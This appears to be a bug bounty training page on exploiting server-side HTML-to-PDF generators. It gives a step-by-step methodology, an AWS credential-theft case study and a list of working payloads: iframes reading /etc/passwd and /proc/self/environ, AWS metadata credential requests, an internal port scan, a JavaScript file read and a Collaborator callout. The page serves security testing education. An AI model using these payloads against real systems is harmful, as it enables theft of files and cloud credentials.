HTML to PDF

SSRF and LFI via server-side PDF generators

Quick answer

What is HTML to PDF?

Apps that generate PDFs from HTML use engines like wkhtmltopdf, Puppeteer or WeasyPrint that act as internal browsers. This opens vectors for SSRF, LFI and internal file reads.

Severity

High

Frequency

Common

Payloads

Steps

Severity

High

Frequency

Common

Payloads

When an app converts HTML to PDF (invoices, reports, exports), the engine renders HTML and fetches external resources. If the HTML content comes from the user (form fields, names, addresses), you can inject iframes and links the engine will follow.

SSRF to internal servicesLocal file reads (LFI)Cloud credentials (AWS/GCP)Internal network scanningRCE via chains

Where to look

Invoice/receipt export

The most common feature. User fields (name, address) get inserted into the PDF's HTML.

Report generation

Dashboards with 'Download as PDF'. The dashboard content is rendered as HTML.

Contracts and agreements

Legal document generation with user data inserted.

Print feature

'Print' buttons that generate a PDF version of the current page.

Methodology

Identify PDF generation

Look for 'Download PDF', 'Export', 'Print' buttons. Intercept the request and check whether it sends HTML.

Inject HTML

In fields that appear in the PDF (name, address, description), inject: <iframe src='http://127.0.0.1'>

Try file://

Inject <iframe src='file:///etc/passwd'>. If the PDF shows the content, you have LFI.

Try SSRF to cloud metadata

Identify the engine

Check the PDF metadata (exiftool). wkhtmltopdf, Puppeteer, PhantomJS behave differently.

Escalate

From LFI: read .env, database config, private keys. From SSRF: IAM credentials → access to cloud infrastructure.

Real-world case

SSRF via PDF invoice → AWS IAM credentials

$2,500

Inject in the address field

The 'billing address' field appears on the PDF invoice. An iframe with src to the AWS metadata is injected.

HTML entities bypass

The field is escaped in the frontend (<), but the PDF generator decodes the entities when rendering HTML.

PDF with AWS metadata

The generated PDF contains the EC2 instance metadata: IAM role, temporary security credentials.

Access AWS

With the temporary IAM credentials, access to S3 buckets, RDS databases and other services.

Lesson: PDF generators are internal browsers with no Same-Origin restrictions. Any field that appears in a PDF is a potential SSRF/LFI vector.

Payloads

LFI — /etc/passwd

<iframe src="file:///etc/passwd" width="800" height="500"></iframe>

SSRF — localhost

<img src="http://127.0.0.1:8080/">

SSRF — AWS metadata

<iframe src="http://169.254.169.254/latest/meta-data/">

CSS import SSRF

<link rel="stylesheet" href="http://internal-server:3000/">

Advanced payloads(account required)

AWS IAM credentials

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="500">

Proc environ

<iframe src="file:///proc/self/environ">

Internal network scan

<img src="http://10.0.0.1:8443/admin"><img src="http://10.0.0.1:9200/"><img src="http://10.0.0.1:6379/">

Windows files

<iframe src="file:///C:/Windows/win.ini"><iframe src="file:///C:/Windows/System32/drivers/etc/hosts">

JavaScript exfil

<script>x=new XMLHttpRequest;x.open("GET","file:///etc/passwd");x.send();x.onload=function(){document.write(x.responseText)}</script>

Exclusive content

Create your free account to access advanced payloads, scripts and bypass techniques

Create free account

Tools

exiftool

Identifies the PDF engine (wkhtmltopdf, Puppeteer, WeasyPrint) in the metadata.

exiftool document.pdf | grep -i producer

Burp Collaborator

Confirms outbound SSRF from the PDF generator.

Inyectar <img src='http://COLLABORATOR_URL'> en campos del PDF

Tips

Address fields are the best vector

Name, billing address, product description — any field that appears in the PDF.

HTML entities get decoded

The field is escaped in the frontend but the PDF engine decodes < → < when rendering.

wkhtmltopdf allows file://

wkhtmltopdf is the most permissive engine. It allows file://, JavaScript and requests to any host.

Puppeteer is more restrictive

Puppeteer blocks file:// by default, but not SSRF to localhost or cloud metadata.

hunters training: 650
labs from real reports: 50
completions: 380
in bounties practiced: $200,000

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy

Practice HTML to PDF with real labs

Apply these techniques in safe environments based on real bug bounty reports.

View all labs Create free account